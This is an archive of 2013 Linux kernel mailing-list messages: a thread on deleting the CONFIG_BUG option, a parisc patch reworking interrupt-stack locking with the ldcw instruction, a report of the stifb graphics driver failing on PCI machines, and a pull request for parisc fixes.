Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59525 gmane.linux.ports.sh.devel:23202 gmane.linux.kernel.cross-arch:18035 gmane.linux.uml.devel:13933 gmane.linux.uml.user:14489 gmane.linux.hardware.blackfin.kernel.devel:7106 gmane.linux.ports.arm.kernel:238720 gmane.linux.ports.parisc:5073 gmane.linux.kernel:1496086 gmane.linux.ports.hexagon:594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59525>

On 05/24/2013 10:13 AM, Chen Gang wrote:
> On 05/23/2013 10:10 PM, Geert Uytterhoeven wrote:
>> On Thu, May 23, 2013 at 2:50 PM, Russell King - ARM Linux
>> <linux@arm.linux.org.uk> wrote:
>>>> On Thu, May 23, 2013 at 02:09:02PM +0200, Arnd Bergmann wrote:
>>>>>> On Thursday 23 May 2013, Russell King - ARM Linux wrote:
>>>>>>>> This is the problem you guys are missing - unreachable() means "we lose
>>>>>>>> control of the CPU at this point".
>>>>>>
>>>>>> I'm absolutely aware of this. Again, the current behaviour of doing nothing
>>>>>> at all isn't very different from undefined behavior when you get when you
>>>>>> get to the end of a function returning a pointer without a "return" statement,
>>>>>> or when you return from a function that has determined that it is not safe
>>>>>> to continue.
>>>>
>>>> Running off the end of a function like that is a different kettle of fish.
>>>> The execution path is still as the compiler intends - what isn't is that
>>>> the data returned is likely to be random trash.
>>>>
>>>> That's _quite_ different from the CPU starting to execute the contents
>>>> of a literal data pool.
>> I agree it's best to e.g. trap and reboot.
> 

In fact: if enable CONFIG_BUG, but not enable HAVE_ARCH_BUG, the
default implementation is:

 47 #ifndef HAVE_ARCH_BUG
 48 #define BUG() do { \
 49         printk("BUG: failure at %s:%d/%s()!\n", __FILE__, __LINE__, __func__); \
 50         panic("BUG!"); \
 51 } while (0)
 52 #endif

So if we delete CONFIG_BUG, the default implementation will be almost
like panic(),  and in panic() itself, also calls printk() !!

So...

:-)



> After read the arch/*/include/asm/bug.h,
> 
> It seems panic() is not suitable for NOMMU platforms (only m68k use it,
> also need CONFIG_BUG and CONFIG_SUN3 enabled).
> 
> And unreachable() is need followed with an asm inline instruction (arm,
> x86, powerpc mips...).
> 
> And __builtin_trap() is "the mechanism used may vary from release to
> release so should not rely on any particular implementation" (ref to
> "http://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html", used by m68k,
> sparc, ia64).
> 
> I can not find any *trap*() and *unreachable*() in "include/asm-generic/"
> 
> I can not find any suitable implementation which 'generic' enough to add
> in "include/asm-generic/" (and in fact, CONFIG_BUG itself is not
> 'generic' enough to be in "include/asm-generic/").
> 
> 
> At last, I still suggest to delete CONFIG_BUG, so most of architectures
> can skip this issue firstly.
> 
> Then for specific architectures, also can get 3 benefits:
> 
> a. the related maintainers can implement it as their own willing (not
> need discus it with another platform maintainers again);
> 
> b. the related maintainers can free use the platform specific features
> (which can not be used in "include/asm-generic/");
> 
> c. the related maintainers are more familiar their own architectures
> demands and requirements.
> 
> 
> 
> ----------- arch/m68k/include/asm/bug.h --------------------------------
> 
>   1 #ifndef _M68K_BUG_H
>   2 #define _M68K_BUG_H
>   3
>   4 #ifdef CONFIG_MMU
>   5 #ifdef CONFIG_BUG
>   6 #ifdef CONFIG_DEBUG_BUGVERBOSE
>   7 #ifndef CONFIG_SUN3
>   8 #define BUG() do { \
>   9         printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
>  10         __builtin_trap(); \
>  11 } while (0)
>  12 #else
>  13 #define BUG() do { \
>  14         printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
>  15         panic("BUG!"); \
>  16 } while (0)
>  17 #endif
>  18 #else
>  19 #define BUG() do { \
>  20         __builtin_trap(); \
>  21 } while (0)
>  22 #endif
>  23
>  24 #define HAVE_ARCH_BUG
>  25 #endif
>  26 #endif /* CONFIG_MMU */
>  27
>  28 #include <asm-generic/bug.h>
>  29
>  30 #endif
> 
> 
> 
> 
> Thanks.
> 


-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 22:59:55 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <877gio3okk.fsf@xmission.com>
References: <519DCBEF.3090208@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369375308 694 80.91.229.3 (24 May 2013 06:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 06:01:48 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>, heiko.carstens@de.ibm.com,
 "paulus@samba.org" <paulus@samba.org>, hpa@zytor.com, walken@google.com,
 egtvedt@samfundet.no, linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 user-mode-linux-devel@lists.sourceforge.net, ysato@users.sourceforge.jp,
 richard@nod.at, deller@gmx.de, x86@kernel.org, jejb@parisc-linux.org,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>, paulmck@linux.vnet.ibm.com,
 hskinnemoen@gmail.com, Serge Hallyn <serge.hallyn@canonical.com>,
 Mike Frysinger <vapier@gentoo.org>, Arnd Bergmann <arnd@arndb.de>,
 Will Deacon <will.deacon@arm.com>, jdike@addtoit.com, akinobu.mita@gmail.com,
 user-mode-linux-user@lists.s
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri May 24 08:01:43 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1Ufl4R-0001dP-0f
	for linux-arm-kernel@m.gmane.org; Fri, 24 May 2013 08:01:43 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Ufl4M-0002jM-KG; Fri, 24 May 2013 06:01:38 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Ufl4J-0006C6-Tz; Fri, 24 May 2013 06:01:35 +0000
Original-Received: from etrn.xmission.com ([198.60.22.17])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1Ufl4G-0006B7-BC
 for linux-arm-kernel@lists.infradead.org; Fri, 24 May 2013 06:01:33 +0000
Original-Received: from [166.70.13.233] (helo=out03.mta.xmission.com)
 by etrn.xmission.com with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA:32)
 (Exim 4.50) id 1Ufl3D-0005tk-R0; Fri, 24 May 2013 00:00:27 -0600
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
 by out03.mta.xmission.com with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
 (Exim 4.76) (envelope-from <ebiederm@xmission.com>)
 id 1Ufl39-0001fF-Vw; Fri, 24 May 2013 00:00:24 -0600
Original-Received: from c-98-207-154-105.hsd1.ca.comcast.net ([98.207.154.105]
 helo=eric-ThinkPad-X220.xmission.com)
 by in02.mta.xmission.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
 (Exim 4.76) (envelope-from <ebiederm@xmission.com>)
 id 1Ufl2t-0004w8-FB; Fri, 24 May 2013 00:00:23 -0600
>To: Chen Gang <gang.chen@asianux.com>
In-Reply-To: <519DCBEF.3090208@asianux.com> (Chen Gang's message of "Thu, 23
 May 2013 15:57:35 +0800")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.1 (gnu/linux)
X-XM-AID: U2FsdGVkX1+4Nm25m9n84xw+kgVkrusUQ+2utcBgqS0=
X-SA-Exim-Connect-IP: 98.207.154.105
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on sa07.xmission.com
X-Spam-Level: 
X-Spam-Status: No, score=-3.3 required=8.0 tests=ALL_TRUSTED,BAYES_00,
 DCC_CHECK_NEGATIVE,MISSING_HEADERS,T_TM2_M_HEADER_IN_MSG,T_TooManySym_01,
 T_TooManySym_02,T_TooManySym_03,XMSubLong autolearn=disabled version=3.3.2
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
 *  0.7 XMSubLong Long Subject
 *  0.0 MISSING_HEADERS Missing To: header
 *  0.0 T_TM2_M_HEADER_IN_MSG BODY: T_TM2_M_HEADER_IN_MSG
 * -3.0 BAYES_00 BODY: Bayes spam probability is 0 to 1%
 *      [score: 0.0004]
 * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
 *      [sa07 1397; Body=1 Fuz1=1 Fuz2=1]
 *  0.0 T_TooManySym_01 4+ unique symbols in subject
 *  0.0 T_TooManySym_03 6+ unique symbols in subject
 *  0.0 T_TooManySym_02 5+ unique symbols in subject
X-Spam-DCC: XMission; sa07 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ;
X-Spam-Relay-Country: 
X-Spam-Flag: No
X-SA-Exim-Version: 4.2.1 (built Wed, 14 Nov 2012 14:26:46 -0700)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130524_020132_501029_99A15926 
X-CRM114-Status: GOOD (  10.70  )
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 1.0 MISSING_HEADERS        Missing To: header
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238734 gmane.linux.ports.sh.devel:23204 gmane.linux.kernel.cross-arch:18036 gmane.linux.uml.devel:13934 gmane.linux.uml.user:14490 gmane.linux.hardware.blackfin.kernel.devel:7108 gmane.linux.ports.parisc:5074 gmane.linux.kernel:1496106 gmane.linux.ports.hexagon:595 gmane.linux.ports.ppc64.devel:91017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238734>

Chen Gang <gang.chen@asianux.com> writes:

> The crazy user can unset 'CONFIG_BUG' in menuconfig: "> General setup >
> Configure standard kernel features (expert users) > BUG() Support".
>
> But in fact, we always need it, and quite a few of architectures have
> already implemented it (e.g. alpha, arc, arm, avr32, blackfin, cris,
> frv, ia64, m68k, mips, mn10300, parisc, powerpc, s390, sh, sparc, x86).
>
> And kernel also already has prepared a default effective implementation
> for the architectures which is unwilling to implement it by themselves
> (e.g. arm64, c6x, h8300, hexagon, m32r, metag, microblaze, openrisc,
> score, tile, um, unicore32, xtensa).
>
> So need get rid of 'CONFIG_BUG', and let it always enabled everywhere.


This looks like the right way to handle this to me.  If the BUG
annotations are too big and not needed they should simply be deleted
from the code base.  Disabling CONFIG_BUG which removes the BUG
annotations from the binaries without modifying the source code seems
like the wrong approach.

Acked-by: "Eric W. Biederman" <ebiederm@xmission.com>

From - Thu Nov 08 21:09:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix irq stack on UP and SMP
Date: Fri, 24 May 2013 23:27:35 +0200
Lines: 164
Approved: news@gmane.org
Message-ID: <20130524212735.GA2341@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369430863 13384 80.91.229.3 (24 May 2013 21:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 21:27:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 24 23:27:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UfzWY-0006Qt-HQ
	for glpp-linux-parisc@plane.gmane.org; Fri, 24 May 2013 23:27:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755587Ab3EXV1m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 May 2013 17:27:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51816 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755553Ab3EXV1l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 May 2013 17:27:41 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MXTLc-1V0I4j3mNy-00WTx5 for
 <linux-parisc@vger.kernel.org>; Fri, 24 May 2013 23:27:39 +0200
Original-Received: (qmail invoked by alias); 24 May 2013 21:27:39 -0000
Original-Received: from p54AD045D.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.93]
  by mail.gmx.net (mp035) with SMTP; 24 May 2013 23:27:39 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+0OT9O5ke0VQp9UBjzPkOuLr0ty1ddjWVAKaLRiQ
	TqX8hdocXAnDgT
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5075
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5075>

The logic to detect if the irq stack was already in use with
raw_spin_trylock() is wrong, because it will generate a "trylock failure
on UP" error message with CONFIG_SMP=n and CONFIG_DEBUG_SPINLOCK=y.
 
arch_spin_trylock() can't be used either since in the CONFIG_SMP=n case
no atomic protection is given and we are reentrant here. A mutex didn't
worked either and brings more overhead by turning off interrupts.

So, let's use the fastest path for parisc which is the ldcw instruction. 
 
Counting how often the irq stack was used is pretty useless, so just
drop this piece of code.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index 4c6dd8d..241c345 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -17,13 +17,8 @@
 
 typedef struct {
 	unsigned int __softirq_pending;
-#ifdef CONFIG_DEBUG_STACKOVERFLOW
 	unsigned int kernel_stack_usage;
-#ifdef CONFIG_IRQSTACKS
 	unsigned int irq_stack_usage;
-	unsigned int irq_stack_counter;
-#endif
-#endif
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
 	unsigned int irq_call_count;
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cfbc439..cc2290a 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -17,7 +17,6 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/percpu.h>
-
 #endif /* __ASSEMBLY__ */
 
 /*
@@ -59,26 +58,6 @@
 #ifndef __ASSEMBLY__
 
 /*
- * IRQ STACK - used for irq handler
- */
-#ifdef __KERNEL__
-
-#include <linux/spinlock_types.h>
-
-#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
-
-union irq_stack_union {
-	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
-	raw_spinlock_t lock;
-};
-
-DECLARE_PER_CPU(union irq_stack_union, irq_stack_union);
-
-void call_on_stack(unsigned long p1, void *func, unsigned long new_stack);
-
-#endif /* __KERNEL__ */
-
-/*
  * Data detected about CPUs at boot time which is the same for all CPU's.
  * HP boxes are SMP - ie identical processors.
  *
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 9c2d953..2e6443b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -27,11 +27,11 @@
 #include <linux/interrupt.h>
 #include <linux/kernel_stat.h>
 #include <linux/seq_file.h>
-#include <linux/spinlock.h>
 #include <linux/types.h>
 #include <asm/io.h>
 
 #include <asm/smp.h>
+#include <asm/ldcw.h>
 
 #undef PARISC_IRQ_CR16_COUNTS
 
@@ -172,10 +172,6 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_usage);
 	seq_puts(p, "  Interrupt stack usage\n");
-	seq_printf(p, "%*s: ", prec, "ISC");
-	for_each_online_cpu(j)
-		seq_printf(p, "%10u ", irq_stats(j)->irq_stack_counter);
-	seq_puts(p, "  Interrupt stack usage counter\n");
 # endif
 #endif
 #ifdef CONFIG_SMP
@@ -384,6 +380,24 @@ static inline int eirr_to_irq(unsigned long eirr)
 	return (BITS_PER_LONG - bit) + TIMER_IRQ;
 }
 
+#ifdef CONFIG_IRQSTACKS
+/*
+ * IRQ STACK - used for irq handler
+ */
+#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
+
+union irq_stack_union {
+	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
+	volatile unsigned int slock[4];
+	volatile unsigned int lock[1];
+};
+
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
+		.slock = { 1,1,1,1 },
+	};
+#endif
+
+
 int sysctl_panic_on_stackoverflow = 1;
 
 static inline void stack_overflow_check(struct pt_regs *regs)
@@ -450,27 +464,26 @@ panic_check:
 }
 
 #ifdef CONFIG_IRQSTACKS
-DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) = {
-		.lock = __RAW_SPIN_LOCK_UNLOCKED((irq_stack_union).lock)
-	};
+/* in entry.S: */
+void call_on_stack(unsigned long p1, void *func, unsigned long new_stack);
 
 static void execute_on_irq_stack(void *func, unsigned long param1)
 {
 	union irq_stack_union *union_ptr;
 	unsigned long irq_stack;
-	raw_spinlock_t *irq_stack_in_use;
+	volatile unsigned int *irq_stack_in_use;
 
 	union_ptr = &per_cpu(irq_stack_union, smp_processor_id());
 	irq_stack = (unsigned long) &union_ptr->stack;
-	irq_stack = ALIGN(irq_stack + sizeof(irq_stack_union.lock),
+	irq_stack = ALIGN(irq_stack + sizeof(irq_stack_union.slock),
 			 64); /* align for stack frame usage */
 
 	/* We may be called recursive. If we are already using the irq stack,
 	 * just continue to use it. Use spinlocks to serialize
 	 * the irq stack usage.
 	 */
-	irq_stack_in_use = &union_ptr->lock;
-	if (!raw_spin_trylock(irq_stack_in_use)) {
+	irq_stack_in_use = (volatile unsigned int *)__ldcw_align(union_ptr);
+	if (!__ldcw(irq_stack_in_use)) {
 		void (*direct_call)(unsigned long p1) = func;
 
 		/* We are using the IRQ stack already.
@@ -482,10 +495,8 @@ static void execute_on_irq_stack(void *func, unsigned long param1)
 	/* This is where we switch to the IRQ stack. */
 	call_on_stack(param1, func, irq_stack);
 
-	__inc_irq_stat(irq_stack_counter);

From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: stifb broken on PCI - was: Upgrade woes - was Re: install/update/upgrade
 dance
Date: Sat, 25 May 2013 00:23:40 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <519FE86C.8070701@gmx.de>
References: <519DB0F2.8000801@landcomp.net> <trinity-c943681e-ac4b-4abc-aee6-081444e7a9a7-1369296347943@3capp-gmx-bs41> <519E697A.1030805@landcomp.net> <519E8BEA.9030309@gmx.de> <519E9A78.40302@landcomp.net> <519EA19B.5050105@landcomp.net> <BLU0-SMTP870BAEC5E9E44730F1075F97AA0@phx.gbl> <519EB625.5070508@landcomp.net> <BLU0-SMTP46578E0659F1ECF756D7DC97AB0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369434228 13208 80.91.229.3 (24 May 2013 22:23:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 May 2013 22:23:48 +0000 (UTC)
To: debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 25 00:23:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ug0Om-0006Fm-L7
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 May 2013 00:23:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755764Ab3EXWXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 May 2013 18:23:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51299 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755565Ab3EXWXn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 May 2013 18:23:43 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.16]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lgbwh-1U9gRk36yj-00o0zW for
 <linux-parisc@vger.kernel.org>; Sat, 25 May 2013 00:23:41 +0200
Original-Received: (qmail invoked by alias); 24 May 2013 22:23:41 -0000
Original-Received: from p54AD045D.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.4.93]
  by mail.gmx.net (mp016) with SMTP; 25 May 2013 00:23:41 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/89Fwz8Ij8yOyJzrOjoOgS0U9HOeypJjPW1LBFkw
	3m1lVxR5Cu67ER
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <BLU0-SMTP46578E0659F1ECF756D7DC97AB0@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5076 gmane.linux.debian.ports.hppa:6917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5076>

On 05/24/2013 02:51 AM, John David Anglin wrote:
> On 23-May-13, at 8:36 PM, Dave Land wrote:
> 
>> May 23 10:48:21 hpviz kernel: [    1.880000] STI GSC/PCI core graphics driver V$
>> May 23 10:48:21 hpviz kernel: [    1.880000] sti 0000:01:01.0: enabling SERR an$
>> May 23 10:48:21 hpviz kernel: [    1.884000] STI PCI graphic ROM found at fffff$
>> *May 23 10:48:21 hpviz kernel: [    1.952000] Unable to handle STI device '0000:$*
> 
> 
> This is exactly the problem that I see.

Me too :-(

On my 32bit "old" parisc machine 715/64 with GSC bus it still works.

But on all my PCI machines it fails the same way.
Same result as Dave: pdc_add_valid() returns error.

For me it seems something has changed wrt PCI.

I tried to debug it somewhat, but I have no clue.
Maybe this commit is somewhat related: ?

commit 39c2462e163448c7df466c7262109ec6a24d5f88
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Thu Feb 23 20:19:03 2012 -0700
    parisc/PCI: get rid of device resource fixups
    Tell the PCI core about host bridge address translation so it can take
    care of bus-to-resource conversion for us.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.10-rc3
Date: Sat, 25 May 2013 20:27:36 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20130525182736.GA26375@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369506466 10669 80.91.229.3 (25 May 2013 18:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 May 2013 18:27:46 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 25 20:27:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UgJBw-0002BF-La
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 May 2013 20:27:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757560Ab3EYS1m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 May 2013 14:27:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:65053 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757555Ab3EYS1m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 May 2013 14:27:42 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M7WX3-1UUi7Q0yON-00xKi9 for
 <linux-parisc@vger.kernel.org>; Sat, 25 May 2013 20:27:39 +0200
Original-Received: (qmail invoked by alias); 25 May 2013 18:27:39 -0000
Original-Received: from p54AD1D33.dip0.t-ipconnect.de (EHLO p100.box) [84.173.29.51]
  by mail.gmx.net (mp020) with SMTP; 25 May 2013 20:27:39 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19zNbpzdtNzYZpvo6ocd91VIDRQMGs+B0tp9CK6va
	4tktNz3GBE4tuf
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5077 gmane.linux.kernel:1496649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5077>

Hi Linus,

please pull the latest parisc architecture fixes.

This time we made the kernel- and interruption stack allocation
reentrant which fixed some strange kernel crashes (specifically
protection ID traps). Furthemore this patchset fixes the interrupt stack
in UP and SMP configurations by using native locking instructions.  And
finally usage of floating point calculations on parisc were disabled in
the MPILIB.

Thanks,
Helge


